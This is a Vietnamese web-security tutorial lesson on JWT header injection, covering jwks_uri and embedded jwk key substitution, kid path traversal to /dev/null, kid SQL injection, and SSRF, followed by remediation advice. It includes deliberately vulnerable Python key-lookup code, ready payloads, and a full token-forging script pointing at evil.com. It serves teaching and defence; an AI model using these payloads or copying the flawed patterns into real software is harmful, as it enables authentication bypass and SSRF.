Khai thác JWT qua Header Injection và thao túng khóa
Phân tích các kỹ thuật tấn công tầng Header của JWT: khai thác tham số jwks_uri, kid path traversal và SQL Injection trong nạp khóa.
TL;DR: Ngoài các trường thuật toán alg, header của JSON Web Token còn hỗ trợ nhiều trường siêu dữ liệu (metadata) mạnh mẽ như jwks_uri, jwk và kid (Key ID). Các trường này cho phép máy chủ tự động định tuyến hoặc tải về khóa công khai tương ứng để xác minh chữ ký. Nếu máy chủ tin tưởng tuyệt đối các tham số header này mà không kiểm tra tính hợp lệ, kẻ tấn công có thể ép máy chủ tải khóa từ máy chủ ngoài do kẻ tấn công kiểm soát (jwks_uri), hoặc lợi dụng lỗi Path Traversal trong kid để ép server xác minh bằng một tệp rỗng (/dev/null), từ đó giả mạo chữ ký tùy ý.
1. Scenario — Tính năng nạp khóa động bị lợi dụng
Một nền tảng SaaS phục vụ khách hàng doanh nghiệp triển khai cơ chế xác thực Single Sign-On (SSO) phân tán. Để tiện cho việc xoay vòng khóa (Key Rotation) định kỳ, backend được lập trình tự động tra cứu khóa từ header của token:
# Vulnerable key lookup middleware
import requests, jwt
def get_verification_key(token_header):
# Bug: Directly fetching JWKS from untrusted URL in token header
if "jwks_uri" in token_header:
jwks_url = token_header["jwks_uri"]
jwks_data = requests.get(jwks_url, timeout=3).json()
return jwt.algorithms.RSAAlgorithm.from_jwk(jwks_data["keys"][0])
return DEFAULT_PUBLIC_KEY
Khi kiểm thử viên gửi một token có header trỏ về máy chủ riêng:
{
"alg": "RS256",
"typ": "JWT",
"jwks_uri": "https://attacker.com/my_keys.json"
}
Máy chủ backend lập tức gửi một HTTP request tới attacker.com, tải về file my_keys.json chứa cặp khóa RSA do kẻ tấn công tự sinh, và dùng chính khóa đó để kiểm tra token. Kết quả là kẻ tấn công dễ dàng tạo ra token mang quyền quản trị tối cao mà máy chủ vẫn xác nhận chữ ký hợp lệ 100%.
2. Analogy — Trình thẻ nhà báo và số điện thoại xác minh
Hãy tưởng tượng một người lạ bước vào tòa nhà trụ sở và xuất trình một chiếc thẻ nhà báo:
- Quy trình bảo an chuẩn mực: Bảo vệ tòa nhà đối chiếu tên nhà báo với danh sách các tòa soạn đã ký hợp đồng trước, gọi điện tới số tổng đài nội bộ được lưu trong danh bạ bảo an để xác nhận nhân sự.
- Quy trình bị thao túng (Header Injection): Trên mặt sau của chiếc thẻ, người lạ tự ghi một dòng chữ: "Nếu cần xác minh, hãy gọi số hotline 0909xxxxxx gặp Tổng biên tập". Anh bảo vệ ngây thơ liền bấm đúng số điện thoại in trên thẻ. Đầu dây bên kia chính là đồng bọn của kẻ đột nhập, nhanh chóng xác nhận: "Đúng rồi, anh ấy là phóng viên đặc biệt của chúng tôi đấy!".
Trong JWT Header Injection, máy chủ chính là anh bảo vệ cả tin:
| Thực tế đời thường | Cơ chế trong JWT Header Injection |
|---|---|
| Thẻ nhà báo giả | Token JWT mang payload nâng quyền |
| Số điện thoại in sẵn trên thẻ | Tham số header jwks_uri trỏ về server độc hại |
| Đồng bọn nghe máy xác nhận | Máy chủ attacker trả về bộ khóa công khai giả lập |
| Bảo vệ mở cửa cho vào | Backend dùng khóa giả để xác minh chữ ký thành công |
3. Vì sao các tham số Header JWT lại trở thành bề mặt tấn công?

Đặc tả JSON Web Signature (RFC 7515) định nghĩa nhiều tham số tiêu chuẩn giúp các bên đối chiếu khóa:
jwks_uri: Địa chỉ URL trỏ tới tài liệu JSON Web Key Set chứa các khóa công khai của nhà cung cấp danh tính (IdP).jwk: Nhúng trực tiếp đối tượng khóa công khai dạng JSON ngay bên trong header của token.kid(Key ID): Một chuỗi định danh duy nhất giúp máy chủ phân biệt khóa nào trong bộ lưu trữ đang được dùng để ký token.x5u/x5c: URL hoặc chuỗi chứng chỉ X.509 chứa khóa công khai.
Trong bài học trước, bạn đã thấy cách kẻ tấn công hoán đổi thuật toán:
Ôn lại bản chất của việc phân tách và xác minh chữ ký giữa các thuật toán đối xứng và bất đối xứng.
Khi máy chủ tiếp nhận một token, nếu logic đọc khóa phụ thuộc vào chính các trường siêu dữ liệu mà client gửi lên trước khi chữ ký được xác minh, tính toàn vẹn của hệ thống sẽ bị phá vỡ hoàn toàn.
3.1. Tấn công tham số jwk nhúng trực tiếp
Một số thư viện tự động kiểm tra xem header có chứa trường jwk không. Nếu có, thư viện sẽ trích xuất khóa công khai nằm ngay trong header để kiểm tra chữ ký:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"use": "sig",
"n": "u1P8...",
"e": "AQAB"
}
}
Nếu server không kiểm tra xem khóa trong jwk có thuộc danh sách tin cậy hay không, kẻ tấn công chỉ cần tự sinh một cặp khóa RSA trên máy tính, nhúng Public Key vào trường jwk, và dùng Private Key tương ứng để ký token.
3.2. Tấn công tham số kid qua Path Traversal
Nhiều hệ thống sử dụng tham số kid như một đường dẫn tệp trên ổ đĩa để đọc file khóa bí mật:
# Flawed implementation: Loading key from file system using kid
key_path = f"/var/keys/{header['kid']}.pem"
with open(key_path, 'r') as f:
secret = f.read()
jwt.decode(token, secret, algorithms=['HS256'])
Nếu ứng dụng không lọc ký tự duyệt thư mục (../), kẻ tấn công có thể chèn payload Path Traversal vào kid:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../dev/null"
}
Trên các hệ thống Linux, tệp thiết bị /dev/null luôn trả về chuỗi rỗng (0 byte). Khi đó, biến secret trong mã nguồn Python sẽ đọc được một chuỗi rỗng "". Kẻ tấn công chỉ cần ký token bằng thuật toán HS256 với khóa bí mật là chuỗi rỗng "" để vượt qua toàn bộ cơ chế bảo vệ.
3.3. Tấn công tham số kid qua SQL Injection
Nếu tham số kid được dùng để tra cứu khóa đối xứng trong cơ sở dữ liệu:
# SQL injection in key lookup
cursor.execute(f"SELECT secret_key FROM api_keys WHERE key_id = '{header['kid']}'")
secret = cursor.fetchone()[0]
Kẻ tấn công có thể chèn câu lệnh SQL Union:
kid: key_1' UNION SELECT 'attacker_chosen_secret'--
Câu lệnh SQL trả về chuỗi 'attacker_chosen_secret'. Kẻ tấn công dùng chính chuỗi này làm khóa HMAC để ký token hợp lệ.
# JWT verification helper
def load_public_key_from_token(header):
# Developer allows remote key fetch
jwk_url = header.get("jwks_uri")
if jwk_url:
resp = requests.get(jwk_url)
return resp.json()["keys"][0]
return LOCAL_KEYThử ngẫmKhi kẻ tấn công chèn jwks_uri trỏ tới địa chỉ nội bộ như http://169.254.169.254, lỗ hổng này đã chuyển hóa thành loại tấn công nào?
Đó chính là Server-Side Request Forgery (SSRF), cho phép máy chủ bị lợi dụng để truy xuất thông tin hạ tầng đám mây.
4. Kỹ thuật tạo Token giả mạo bằng jwks_uri
Dưới đây là kịch bản khai thác hoàn chỉnh sử dụng kỹ thuật dựng máy chủ JWKS giả lập:
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
# 1. Generate random RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# 2. Export public key to JWKS and host on attacker server
# (Example: https://evil.com/.well-known/jwks.json)
# 3. Create elevated payload
payload = {
"user": "root",
"role": "admin",
"iat": 1700000000,
"exp": 1900000000
}
# 4. Sign using private key and point jwks_uri to evil.com
headers = {
"alg": "RS256",
"typ": "JWT",
"jwks_uri": "https://evil.com/.well-known/jwks.json"
}
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
forged_token = jwt.encode(payload, private_pem, algorithm="RS256", headers=headers)
print(f"[+] Token tan cong jwks_uri: {forged_token}")
5. Pitfalls & Giải pháp khắc phục triệt để
❌ Bẫy thường gặp: Kiểm tra URL bằng Regex lỏng lẻo
Nhiều hệ thống cố gắng ngăn chặn jwks_uri giả mạo bằng cách kiểm tra tiền tố domain:
# ANTI-PATTERN: Insecure prefix regex
if re.match(r"^https://auth\.company\.com", jwk_url):
fetch_jwks(jwk_url)
Regex trên dễ dàng bị vượt qua bằng domain phụ do kẻ tấn công đăng ký: https://auth.company.com.attacker.com hoặc dùng bypass path traversal.
✅ Giải pháp chuẩn mực: Cố định nguồn nạp khóa và Whitelist Key ID
Để bảo vệ hệ thống tuyệt đối:
- Khóa cứng endpoint JWKS: Không bao giờ đọc
jwks_uritừ header của client. URL nạp khóa phải được cấu hình cố định trong tệp biến môi trường hoặc cấu hình hệ thống:Python# SECURE PATTERN: Fixed identity provider JWKS URL TRUSTED_JWKS_URL = os.environ.get("IDP_JWKS_URL") - Whitelist giá trị
kid:kidchỉ được phép là các ký tự chữ cái và số dạng UUID hoặc hash định danh, không chứa ký tự đặc biệt hay đường dẫn file:Python# Validate kid format to prevent traversal and injection if not re.match(r"^[a-zA-Z0-9_\-]+$", kid): raise ValueError("Invalid key identifier") - Sử dụng cache khóa nội bộ: Nạp và lưu trữ khóa công khai trong bộ nhớ đệm (In-memory cache) có thời hạn, tránh việc mỗi request gửi lên đều kích hoạt một HTTP request ra bên ngoài.
6. Đào sâu
Tài liệu tham khảo chuyên sâu về Header Injections:
- RFC 7515 — JSON Web Signature (JWS): Đặc tả chi tiết về các trường Header tiêu chuẩn (
jwk,jwks_uri,kid,x5u). - PortSwigger Web Security Academy — JWT Header Injection: Phân tích chi tiết các kỹ thuật khai thác
kidqua/dev/nullvà JWK injection. - OWASP Server-Side Request Forgery Prevention: Hướng dẫn bảo vệ các API thực hiện gọi mạng dựa trên dữ liệu đầu vào.
7. Tóm tắt
- Các tham số header của JWT như
jwks_uri,jwk, vàkidcó thể bị lợi dụng để thay đổi nguồn nạp khóa xác minh chữ ký. - Khai thác
jwks_uricho phép kẻ tấn công ép máy chủ tải khóa công khai giả mạo từ xa hoặc kích hoạt lỗi SSRF. - Khai thác
kidqua Path Traversal (/dev/null) hoặc SQL Injection giúp kẻ tấn công dự đoán hoặc kiểm soát được khóa bí mật dùng để xác thực. - Biện pháp khắc phục tối ưu là khóa cứng địa chỉ IdP JWKS trong biến môi trường hệ thống và kiểm tra nghiêm ngặt định dạng của
kid.
8. Tự kiểm tra
- Q1Tại sao việc máy chủ tự động gửi HTTP request tới địa chỉ jwks_uri trong header lại được coi là một lỗ hổng SSRF nghiêm trọng?
- Q2Kỹ thuật khai thác kid qua tệp /dev/null hoạt động như thế nào trên hệ điều hành Linux?
- Q3Ngoài /dev/null, kẻ tấn công có thể nhắm tới những tệp tin nào khác trên hệ thống để khai thác kid Path Traversal?
- Q4Sự khác biệt căn bản giữa tham số jwk và jwks_uri trong Header của JWT là gì?
- Q5Làm thế nào để kiến trúc API Gateway ngăn chặn toàn bộ các cuộc tấn công JWT Header Injection trước khi request chạm vào microservices?
Bài tiếp theo: Lỗ hổng OAuth2 và OIDC: Thao túng Redirect URI
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Tấn công JWT: Thuật toán None và Algorithm Confusion
Bài tiếpLỗ hổng OAuth2 và OIDC: Thao túng Redirect URI
Thảo luận & góp ý
Hỏi đáp về bài này